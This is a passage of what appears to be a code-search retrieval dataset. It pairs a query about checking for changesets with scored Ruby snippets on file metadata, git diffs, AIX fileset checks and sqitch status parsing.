bf.content.profile['dsMIME'], tempfile: temp_file)\n\n begin\n logger.info 'Generating FITS metadata XML'\n fitsMetadata = Hydra::FileCharacterization.characterize(f, f.original_filename, :fits)\n rescue Hydra::FileCharacterization::ToolNotFoundError => tnfe\n logger.error tnfe.to_s\n abort 'FITS tool not found, terminating, check FITS_HOME environment variable is set and FITS is installed'\n rescue RuntimeError => re\n logger.error 'Something went wrong with extraction of file metadata using FITS'\n logger.error re.to_s\n abort 'FITS tool not found, terminating, check FITS_HOME environment variable is set and FITS is installed'\n end\n fitsDatastream = ActiveFedora::OmDatastream.from_xml(fitsMetadata)\n fitsDatastream.digital_object = bf.inner_object\n\n bf.add_datastream(fitsDatastream, {:prefix => 'fitsMetadata'})\n bf.save\n logger.info 'FITS metadata datastream added, tidying up resources used'\n temp_file.close\n FileUtils.remove_file 'temp_content_file'\n logger.info \"Finished adding FITS metadata for #{bf.pid}\"\n logger.info '********************************************'\n end\n end\n end", "title": "" }, { "docid": "38f651932484e6bddeb55f19d8cc266c", "score": "0.52236485", "text": "def analyse_modified_files\n modified_files = Config.feature_branch_collection.where(SourceControlSystem::Git.modified_files)\n analysed_modules = AnalysedModulesCollection.new(modified_files.map(&:path), modified_files)\n Config.root = Config.compare_root_directory\n report(analysed_modules)\n end", "title": "" }, { "docid": "082ceb83b3435f528708e51f2b5ce9c7", "score": "0.5206845", "text": "def test_store_file\n #emulate the saving of a file whose content is 'test content'\n @writer.save_file('test content')\n #we expect three chunks for\n expected_chunks = ['test ', 'conte', 'nt']\n expected_chunks_sha = expected_chunks.map{|s| ComputeSHADigest s}\n #A. Each of the chunk is named with the sha on its content\n expected_chunks_sha.each{|sha| assert( @ioservice.exists? :chunk, sha )}\n \n #B. The filename is retrieved from the sha of the whole string\n file_sha = ComputeSHADigest 'test content'\n assert( @ioservice.exists?(:file, file_sha), \"file not found: #{file_sha} in #{@ioservice.store[:file]}\" )\n #C. The file lists all its chunks\n @ioservice.read_elem(:file, file_sha) do |c|\n c.each_line.zip(expected_chunks_sha).each{ |l, sha| assert_equal(l.strip, sha) }\n end\n #D. the adlers directory should be filled with the adler32 code of each chunk\n CheckChunksInAdlerDirectory( @adlers, expected_chunks )\n end", "title": "" }, { "docid": "629b9a54900ea80d226584bf8786c72c", "score": "0.5204582", "text": "def finalize(file_details)\n file_details.map do |f|\n \"#{f.file_info[:ftype]}#{f.file_info[:mode]} \"\\\n \"#{f.format_max_nlink_digit(file_details, f)} \"\\\n \"#{f.file_info[:owner].rjust(5)} #{f.file_info[:group]} \"\\\n \"#{f.format_max_size_digit(file_details, f)} \"\\\n \"#{f.file_info[:mtime]} #{f.file}\"\\\n end\n end", "title": "" }, { "docid": "fb43be7470029f3a5f2ce5bfd41cfd10", "score": "0.52038604", "text": "def stat() File.stat( expand_tilde ) end", "title": "" }, { "docid": "f7fb0a43fde39d21cb6da499726e955a", "score": "0.5187219", "text": "def write_file_list\n if EventMachine.reactor_thread? || !@update_lock.locked?\n raise 'Should not write file list in reactor thread or without' \\\n ' the local list lock!'\n end\n\n FileUtils.mkdir_p config.config_dir\n @local_file_list.root['CID'] = SecureRandom.hex(12).upcase\n output = @local_file_list.to_s(:indent => true)\n Bzip2::Writer.open(local_file_list_path, 'wb') { |f| f << output }\n @share_size = nil\n\n output = Marshal.dump([@local_file_info, @shared_directories])\n File.open(cache_file_list_path, 'wb'){ |f| f << output }\n end", "title": "" }, { "docid": "7f9ef221b511d407a238089c2876500d", "score": "0.5183627", "text": "def modified_files\n diff = git.diff(local_branch, remote_branch(local_branch))\n diff.stats[:files].keys\n end", "title": "" }, { "docid": "c571fb0302ed03e4e65bc90be7a45303", "score": "0.5178477", "text": "def info(filename, nohash = nil)\n\tf = filename\n\tif test_file(f)\n\t\th = nohash ? (nil) : (Digest::SHA1.hexdigest(File.read(f)))\n\t\treturn [File.mtime(f), File.stat(f).mode.to_s(8).to_i, h]\n\tend\n\treturn []\nend", "title": "" }, { "docid": "f30cc3bd2f86419fe716ce62c2890e75", "score": "0.5171409", "text": "def existing_files\n metadata_files if @existing_files.nil?\n @existing_files\n end", "title": "" }, { "docid": "85b3585a35adf92d68aa0b2b05163583", "score": "0.51684636", "text": "def stat\n factory.system.dir_stat(@path)\n end", "title": "" }, { "docid": "b4cf35c79c2100363342b785cd5ec45f", "score": "0.5167788", "text": "def getChangesOfCommit(commit_id = false)\n my_commit = ((commit_id == false and @repo.commits.size > 0) ? @repo.commits.first : @repo.commit(commit_id))\n if my_commit == nil\n return false\n end\n \n # get list of changed files and parse it\n @filelist = Hash.new\n options = {:r => true, :name_status => true, :no_commit_id => true}\n if @repo.commit(my_commit.sha).parents[0] == nil # if my_commit is the first commit\n options[:root] = true\n end\n changed_files_list = @git.diff_tree(options, my_commit.id).strip\n if changed_files_list.class == String and changed_files_list.length > 0\n changed_files_list.split(\"\\n\").each do |f|\n commit = my_commit\n operation = f[0,1] # D/M/A\n filepath = f[2..-1] # path+filename\n path = \"/\" + filepath.match(/^.+\\//).to_s # just path\n status = \"created\"\n if operation =~ /^D$/i # deleted\n # the file was deleted, so get the blob from the parent-commit\n commit = @repo.commit(my_commit.parents[0].sha)\n status = \"deleted\"\n elsif operation =~ /^M$/i # modified\n status = \"updated\"\n end\n blob = commit.tree/(filepath)\n\n #name = filepath.gsub(path[1..-1], '') #blob.name\n path = path.gsub(/\\/private\\/[0-9]+\\//,'')\n \n \n \n @filelist[\"/\" + filepath] = {\"uploaded\" => '1', \"status\" => status, \"blob_hash\" => blob.id, \"name\" => blob.name, \"path\" => \"/#{path}\", \"size\" => blob.size, \"filetype\" => blob.mime_type, \"filedate\" => @repo.commit(commit.sha).date.strftime('%T %F').to_s}\n \n \n end\n end\n\n if @filelist.size > 0\n return @filelist\n else\n return false\n end\n end", "title": "" }, { "docid": "5cf60f9b59ca6f14ff6edc8432f97f60", "score": "0.516487", "text": "def finalize_sync_operation\n puts \" - Transferred the following #{ @st_ops_cache_file.keys.count } st_ops versions to foreign repos:\"\n @st_ops_cache_file.keys.each { |from_git_commit, to_git_commit|\n puts \" - #{ from_git_commit } to #{ to_git_commit }\"\n }\n if @successful_files_with_st_ops.any?\n puts \" - The following #{ @successful_files_with_st_ops.count } files with st operations were synced successfully:\".color(:green)\n @successful_files_with_st_ops.each { |file_path| puts \" - #{ file_path }\" }\n else\n puts \" - No files with st operations were synced successfully\".color(:red)\n end\n if @successful_files_with_autosplit.any?\n puts \" - The following #{ @successful_files_with_autosplit.count } files with autosplit were synced successfully:\".color(:green)\n @successful_files_with_autosplit.each { |file_path| puts \" - #{ file_path }\" }\n else\n puts \" - No files with autosplit were synced successfully\".color(:red)\n end\n if @successful_files_without_st_ops.any?\n puts \" - The following #{ @successful_files_without_st_ops.count } files without st operations were synced successfully:\".color(:green)\n @successful_files_without_st_ops.each { |file_path| puts \" - #{ file_path }\" }\n else\n puts \" - No files without st operations were synced successfully\".color(:red)\n end\n if @unprocessable_files.any?\n puts \" - The following #{ @unprocessable_files.count } files could not be synced:\".color(:red)\n @unprocessable_files.each { |f_attrs|\n print \" - #{ f_attrs[:file].repo_relative_path(true) }: \".ljust(52).color(:red)\n puts \"#{ f_attrs[:message] }\".color(:red)\n }\n else\n puts \" - All file syncs were successful!\".color(:green)\n end\n if @files_with_autosplit_exceptions.any?\n puts \" - The following #{ @files_with_autosplit_exceptions.count } files raised an exception during autosplit:\".color(:red)\n @files_with_autosplit_exceptions.each { |f_attrs|\n print \" - #{ f_attrs[:file].repo_relative_path(true) }: \".ljust(52).color(:red)\n puts \"#{ f_attrs[:message] }\".color(:red)\n }\n else\n puts \" - No files raised exceptions during autosplit\".color(:green)\n end\n if @files_with_subtitle_count_mismatch.any?\n puts \" - The following #{ @files_with_subtitle_count_mismatch.count } files were synced, however their subtitle counts don't match:\".color(:red)\n @files_with_subtitle_count_mismatch.each { |f_attrs|\n print \" - #{ f_attrs[:file].repo_relative_path(true) }: \".ljust(52).color(:red)\n puts \"#{ f_attrs[:message] }\".color(:red)\n }\n else\n puts \" - All synced files have matching subtitle counts.\".color(:green)\n end\n true\n end", "title": "" }, { "docid": "15a646b3004c2b6ef70fbe452d11aeec", "score": "0.51642156", "text": "def reproc_true(file)\n full_path = file\n if (! File.exists?(full_path))\n # Rubymatica.save_status(dir_uuid, \"Can't reprocess, #{full_path} does not exist.\")\n print \"Can't reprocess, #{full_path} does not exist.\\n\";\n exit\n end\n extract_flag = false\n dir_uuid = File.basename(full_path)\n \n # When reprocessing, the meta_data/info.db already exists (or else\n # this will fail), therefore we can look in the db for info such\n # as the name of this ingest.\n \n my_ig = Ingest.new(dir_uuid)\n \n base_name = my_ig.read_meta(\"ingest_name\")\n tub = \"#{Dest}/#{dir_uuid}/#{Accession_dir}\"\n \n Rubymatica.save_status(dir_uuid, \"Reprocessing #{Accession_dir} uuid: #{dir_uuid}\")\n \n igl_dest = \"#{Dest}/#{dir_uuid}/#{Ig_logs}\"\n pv_dir = \"#{Dest}/#{dir_uuid}/#{Pv}\"\n md_dir = \"#{Dest}/#{dir_uuid}/#{Meta}\"\n ac_dir = \"#{Dest}/#{dir_uuid}/#{Accession_dir}\"\n \n # Delete any previously machine created files. Keeping files\n # would mean using previously created file uuid's and that\n # would be a mess. This codes doesn't have the architecture\n # for that.\n\n # Use an anonymous array because we can. Directories that we'll\n # clean up, followed by a list of files we will *not* delete.\n\n [igl_dest, pv_dir, md_dir].each { |path|\n Find.find(path) { |file|\n if (file.match(Dcx) or \n file.match(Db_name))\n next;\n end\n\n # Great line of code. OOP totally rocks. Not! Class,\n # method and variable all the same name, and you thought\n # programmers didn't have a sense of humor.\n \n if (File.file?(file))\n File.delete(file)\n end\n }\n }\n return base_name,dir_uuid, my_ig, tub, igl_dest, pv_dir, md_dir, ac_dir, extract_flag\n end", "title": "" }, { "docid": "c781b96a67562608fb7bba5f906465b6", "score": "0.5163869", "text": "def mtime; end", "title": "" }, { "docid": "c781b96a67562608fb7bba5f906465b6", "score": "0.5163869", "text": "def mtime; end", "title": "" }, { "docid": "0e0a046c5036b5b6859a5dadef1360cf", "score": "0.51584715", "text": "def monolithic_files\n get_files_in_dir(@monolithic_dir)\n end", "title": "" }, { "docid": "f773969c3e2e6a362cc7a681cd8c8b7e", "score": "0.5156615", "text": "def new_files\n metadata_files if @existing_files.nil?\n @new_files\n end", "title": "" }, { "docid": "1a7cf7aa076240504902ee86b3dfd738", "score": "0.5151173", "text": "def read_metadata; end", "title": "" }, { "docid": "5c535bd0b65cacb3056e64642cc402d7", "score": "0.51486295", "text": "def file_get_more_information(directory) \n @files = []\n @file_information = {} # {\"/directory\"=>[\"file\"], \"/directory/directory\"=>[\"file\", \"file\"]\n directory = \"#{@current_directory}/#{directory}\" unless @current_directory == \"\"\n @current_directory = directory \n Dir.chdir(\"#{directory}\") \n Dir.foreach(\"#{directory}\") { |d| @files.push(d) unless d == \".\" || d == \"..\" }\n @file_information.store(directory, @files)\n @files = []\n return @file_information\n end", "title": "" }, { "docid": "cbc86c3096e090e9db7163d633119b01", "score": "0.514598", "text": "def initialize(file)\n self.stathash = stat(file) if (file)\n end", "title": "" }, { "docid": "8d6f2796d8d5102227d524e9f1837256", "score": "0.5143476", "text": "def tag_manifested_files\n tagmanifest_files.inject([]) do |acc, mf|\n files = File.open(mf) { |io|\n io.readlines.map do |line|\n _digest, path = line.chomp.split(/\\s+/, 2)\n path\n end\n }\n (acc + files).uniq\n end\n end", "title": "" }, { "docid": "5eda8bd2eb89df29e1217a2768455336", "score": "0.513913", "text": "def find_caches\n Dir.glob(File.join(@root, '**/*.cache')).reduce([]) { |stats, filename|\n stat = safe_stat(filename)\n # stat maybe nil if file was removed between the time we called\n # dir.glob and the next stat\n stats << [filename, stat] if stat\n stats\n }.sort_by { |_, stat| stat.mtime.to_i }\n end", "title": "" } ]
f591b91e2fe12ccff5d72d4c22b3398a
Provides the type of the DB snapshot.
[ { "docid": "d0875ac4c148cb251130675365112945", "score": "0.85892767", "text": "def snapshot_type\n data[:snapshot_type]\n end", "title": "" } ]
[ { "docid": "c993e046adf828838aee86918c0a66b7", "score": "0.8690135", "text": "def snapshot_type\n @snapshot_type\n end", "title": "" }, { "docid": "6a809e6a009660ff8c9e7eec014237b6", "score": "0.7686207", "text": "def snapshot_type=(value)\n @snapshot_type = value\n end", "title": "" }, { "docid": "a0c5a1a60809a4bf27fbe297cdbf1dcf", "score": "0.69104975", "text": "def database_type; end", "title": "" }, { "docid": "49e5571d6bffc44c76ef0e3a3b0a04f2", "score": "0.65645695", "text": "def snapshot_database_time\n data[:snapshot_database_time]\n end", "title": "" }, { "docid": "7b3017b7a76da957c0dee5b2dbf99e7d", "score": "0.64791995", "text": "def type\n metadata[:type]\n end", "title": "" }, { "docid": "22e12173077b321a9e41a1d9144cc898", "score": "0.64522004", "text": "def database_type(database)\n Datadog::Utils::Database.normalize_vendor(database.database_type.to_s)\n end", "title": "" }, { "docid": "735b50c5ff8b5bd15705f5d013c41479", "score": "0.6394499", "text": "def snapshot_status\n @snapshot_status\n end", "title": "" }, { "docid": "8831477efc26af437fcfffe62225cf49", "score": "0.6295688", "text": "def schema_dump(format = ActiveRecord.schema_format)\n if configuration_hash.key?(:schema_dump)\n if config = configuration_hash[:schema_dump]\n config\n end\n elsif primary?\n schema_file_type(format)\n else\n \"#{name}_#{schema_file_type(format)}\"\n end\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.6248199", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.6248199", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.624784", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.62477535", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.62477535", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.62477535", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.62477535", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.62477535", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.62477535", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.62477535", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.6247722", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.6247722", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.6247722", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.6247722", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.62476337", "text": "def type\n @type\n end", "title": "" }, { "docid": "968037b1f34c3bf034e953bd24b2e517", "score": "0.62476337", "text": "def type\n @type\n end", "title": "" }, { "docid": "df601ceee5d648da527df79f3d82c371", "score": "0.6239984", "text": "def source_db_snapshot_identifier\n data[:source_db_snapshot_identifier]\n end", "title": "" }, { "docid": "abf65b095ed993b99f8d4329a0ea8178", "score": "0.6212271", "text": "def type()\r\n\t\treturn self.class.to_s()\r\n\tend", "title": "" }, { "docid": "d3b7edc8d6608b65fdd44a6c0f465d54", "score": "0.6202357", "text": "def type ; metadata[:type] ; end", "title": "" }, { "docid": "09a7f757ba08fa4e98ec80c564664829", "score": "0.6190543", "text": "def type\n @table[:type]\n end", "title": "" }, { "docid": "d5e72a494dbd05294a47037be5eaa74d", "score": "0.61894906", "text": "def type\n self.class.to_s\n end", "title": "" }, { "docid": "b9cd5be070ff6142411ea4982352c908", "score": "0.6184931", "text": "def instance_type\n data.instance_type\n end", "title": "" }, { "docid": "d76e30d43e3789764a5b5297c8ae046e", "score": "0.616441", "text": "def type\n return @type\n end", "title": "" }, { "docid": "64f74fe1064a41b514e8727f4805022f", "score": "0.6164009", "text": "def type()\n\t\t\treturn @type\n\t\tend", "title": "" }, { "docid": "cac83b283705d8c783cab8f7553c845e", "score": "0.6161513", "text": "def type\n self.class.attachment_type\n end", "title": "" }, { "docid": "4a8b2b6a0ce9cfe9bb6dd7274b006c45", "score": "0.616113", "text": "def type\n @type\n end", "title": "" }, { "docid": "074ed29622c1e4b870ce0e1353dd82ce", "score": "0.6159769", "text": "def type\n self['type'] || self.class.to_s\n end", "title": "" }, { "docid": "0d3d7f561920ba51bbc1996f8872e8e0", "score": "0.6152709", "text": "def type\n @type\n end", "title": "" }, { "docid": "082abede6ad63144978e04c738016ada", "score": "0.61495894", "text": "def type\n fields['type']\n end", "title": "" }, { "docid": "c0df99946157d00276f6163fd49bbee4", "score": "0.6148022", "text": "def snapshot_target\n data[:snapshot_target]\n end", "title": "" }, { "docid": "0e3b71b2e35a03cf4b9fe1795838ef45", "score": "0.6140672", "text": "def instance_type\n data[:instance_type]\n end", "title": "" }, { "docid": "ea29b4109d7aacb494b26f7488edebfd", "score": "0.61387855", "text": "def type\n info[:type]\n end", "title": "" }, { "docid": "d99acaadd0e59c57f0623c944f7edc1c", "score": "0.6136883", "text": "def storage_type\n @storage_type\n end", "title": "" }, { "docid": "d99acaadd0e59c57f0623c944f7edc1c", "score": "0.6136882", "text": "def storage_type\n @storage_type\n end", "title": "" }, { "docid": "9dadedc9f47fabf9801615f4a6e57caa", "score": "0.61361307", "text": "def sql_type_metadata; end", "title": "" }, { "docid": "282eac08c3ec8e6276794dd80135de1a", "score": "0.61352456", "text": "def actual_type\n ensure_have_version\n @actual_type\n end", "title": "" }, { "docid": "45730b0d555d2250402df4af9e65fbd5", "score": "0.61320704", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "45730b0d555d2250402df4af9e65fbd5", "score": "0.61320704", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "45730b0d555d2250402df4af9e65fbd5", "score": "0.61320704", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "45730b0d555d2250402df4af9e65fbd5", "score": "0.61320704", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "da8590dc73464ac865a560c9100b1fb3", "score": "0.61296964", "text": "def _type\n self.class._type\n end", "title": "" }, { "docid": "d40ca5a987cee31bb852e30df59b98a9", "score": "0.6119847", "text": "def type\n return @type\n end", "title": "" }, { "docid": "d40ca5a987cee31bb852e30df59b98a9", "score": "0.6119847", "text": "def type\n return @type\n end", "title": "" }, { "docid": "e2c1558409bd4f85a4eb98c7122c3565", "score": "0.61151826", "text": "def type\n object.class.to_s\n end", "title": "" }, { "docid": "e2c1558409bd4f85a4eb98c7122c3565", "score": "0.61151826", "text": "def type\n object.class.to_s\n end", "title": "" }, { "docid": "6fe01c417e1a016bfe3b0e94ed957f0f", "score": "0.6114479", "text": "def stored_type\n persisted? ? @original_type || type : type\n end", "title": "" }, { "docid": "8ed3875d08f4ce2f59112ca10ca1e8bd", "score": "0.61021656", "text": "def type\n return @type\n end", "title": "" }, { "docid": "0c64b2a278cfd201efdca50b1516f195", "score": "0.6098837", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "0c64b2a278cfd201efdca50b1516f195", "score": "0.6098837", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "0c64b2a278cfd201efdca50b1516f195", "score": "0.6098837", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "0c64b2a278cfd201efdca50b1516f195", "score": "0.6098837", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" }, { "docid": "52ebe1c16870b054699cc64da7d69772", "score": "0.6098352", "text": "def type\n return @type\n end", "title": "" } ]
2d6b00e1be2576d6f31e9d738691fd23
boilerplate for checking that certain changesets exist in the output.
[ { "docid": "c68dd4e2bcf4cfc159bd5bb13f69fc17", "score": "0.6157902", "text": "def assert_changesets(changesets)\n assert_select \"osm>changeset\", changesets.size\n changesets.each do |changeset|\n assert_select \"osm>changeset[id='#{changeset.id}']\", 1\n end\n end", "title": "" } ]
[ { "docid": "0dfcda94b82a6c8208fe79cf624459fd", "score": "0.71287584", "text": "def has_changesets?\n return false unless valid?\n\n control_path = File.absolute_path(File.join(@path, 'SMIL'))\n ! Dir.glob(File.join(control_path, 'changes_branch_*.js')).empty?\n end", "title": "" }, { "docid": "66f9a1b882be1f67afbd00f133743319", "score": "0.6717879", "text": "def check_changeset\n with_temporary_directory do |tmp_dir|\n files_to_check = filter_filelist(`hg log -r \"#{@revision}\" --template '{file_mods} {file_adds}'`)\n files_to_check.check_all? { |filename| check_file_in_changeset(filename, tmp_dir) }\n end\n end", "title": "" }, { "docid": "022c4d5b62a5cee3e242601ddf2006a6", "score": "0.648342", "text": "def verify_response(changesets)\n for changeset in changesets\n for change in changeset['changes']\n if change['el_action'] == 'CREATE'\n assert(change['prev_tags'].nil?)\n assert(!change['tags'].nil?)\n assert(change['prev_geom'].nil?)\n assert(!change['geom'].nil?)\n elsif change['el_action'] == 'DELETE'\n #assert(change['tags'].nil?)\n assert(!change['prev_tags'].nil?)\n assert(change['geom'].nil?)\n assert(!change['prev_geom'].nil?)\n end\n end\n end\n end", "title": "" }, { "docid": "771e089cb6c7f8e52a0063883ab43b21", "score": "0.63388467", "text": "def is_relevant?\n !conflicts.empty?\n end", "title": "" }, { "docid": "d0218a1df89600ca5054af109ad4cd61", "score": "0.6186904", "text": "def check_list_result(changesets)\n changesets = changesets.where(\"num_changes > 0\")\n .order(:created_at => :desc)\n .limit(20)\n assert changesets.size <= 20\n\n assert_select \"ol.changesets\", :count => [changesets.size, 1].min do\n assert_select \"li\", :count => changesets.size\n\n changesets.each do |changeset|\n assert_select \"li#changeset_#{changeset.id}\", :count => 1\n end\n end\n end", "title": "" }, { "docid": "70d8ea86f44cbdf44c13743ca89a8f19", "score": "0.606017", "text": "def check_filesets(filesets, resource)\n filesets_return = []\n lpp_version = ''\n showres_version = '0'\n showres = shell_out(\"nimclient -o showres -a resource=#{resource}\").stdout\n # is there a _all_fileset the filesets\n # if you are entering a fileset containing other fileset\n # here i build the list of fileset for this fileset\n all_filesets = []\n filesets.each do |a_fileset|\n showres.each_line do |s_fileset|\n next unless s_fileset.include? a_fileset\n # don't include the \"master\" fileset\n if s_fileset.include? '_all_filesets'\n next\n else\n get_fileset = s_fileset.split(':')[1].split(' ')[0]\n # if there are multiple versions, so multiple line just include the fileset one time\n all_filesets.push(get_fileset) unless all_filesets.include? get_fileset\n end\n end\n end\n filesets = all_filesets\n filesets.each do |a_fileset|\n lslpp = shell_out(\"lslpp -qLc #{a_fileset}\")\n # if lslpp return is not 0 we consider that this fileset is not installed and we will check if it exist in the lpp_source\n if lslpp.exitstatus != 0\n Chef::Log.debug(\"nimclient: fileset #{a_fileset} is not installed on this host\")\n # does the filesets exists in th lpp_source\n filesets_return.push(a_fileset)\n else\n lpp_version = lslpp.stdout.split(':')[2]\n showres.each_line do |s_fileset|\n next unless s_fileset.include? a_fileset\n next if s_fileset.include? '_all_filesets'\n version_i = s_fileset.split(' ')[-1].tr('.', '')\n showres_i = showres_version.tr('.', '')\n Chef::Log.debug(\"nimclient: checking version #{version_i} vs #{showres_i} to determine latest version\")\n if version_i.to_i > showres_i.to_i\n showres_version = s_fileset.split(' ')[-1]\n end\n end\n Chef::Log.debug(\"nimclient: checking #{a_fileset} version #{lpp_version} vs showres version #{showres_version}\")\n # checking the current version versus lpp_source version\n if lpp_version == showres_version\n Chef::Log.debug(\"nimclient: #{a_fileset} is already to the #{resource} version\")\n else\n filesets_return.push(a_fileset)\n end\n end\n end\n filesets_return\n end", "title": "" }, { "docid": "60557b747d1ce880101a525b7501d177", "score": "0.59297466", "text": "def changes_to_deploy\n if not_a_sqitch_db_yet?\n # TODO: list all the changesets available up to a specified\n # tag. Currently, this probably requires parsing the plan\n # file directly, since sqitch errors out if it's not yet\n # managing the database. As such, this is going to require\n # reworking this class, since it requires more information\n # than is contained in the output of `sqitch status`\n #\n # So, this is an admittedly hacky workaround, but it probably\n # expresses the intent well enough.\n ['all the changesets!']\n elsif nothing_to_deploy?\n [] # <-- Yup, nothing!\n else\n # OK, so this is pretty hairy...\n #\n # Representative output looks like this:\n #\n # # On database bifrost_test\n # # Project: bifrost\n # # Change: 842b0858d77d016dd08bcc4452af3c2152e4c1ca\n # # Name: debug_object_acl_view\n # # Tag: @1.1.6\n # # Deployed: 2013-06-26 09:50:30 -0400\n # # By: Christopher Maier <cm@opscode.com>\n #\n # Undeployed changes:\n # * actor_has_bulk_permission_on @1.2.0 @1.2.1 @1.2.2\n # * update_acl\n #\n # NOTE: This output is from running just `sqitch status` with\n # NO ADDITIONAL options for the status command (global options\n # are OK). If we change the specific `status` invocation,\n # this parsing logic may have to be changed to account for\n # extra / different information.\n\n # split all the lines\n lines = @stdout.split(\"\\n\")\n\n # Get rid of everything until the undeployed changes\n undeployed = lines.drop_while { |line| line !~ /Undeployed changes/ }\n\n # At this point, we have something like this:\n #\n # [\"Undeployed changes:\",\n # \" * actor_has_bulk_permission_on @1.2.0 @1.2.1 @1.2.2\",\n # \" * update_acl\"]\n\n # Drop the \"Undeployed changes\" line, and remove the leading\n # whitespace\n change_lines = 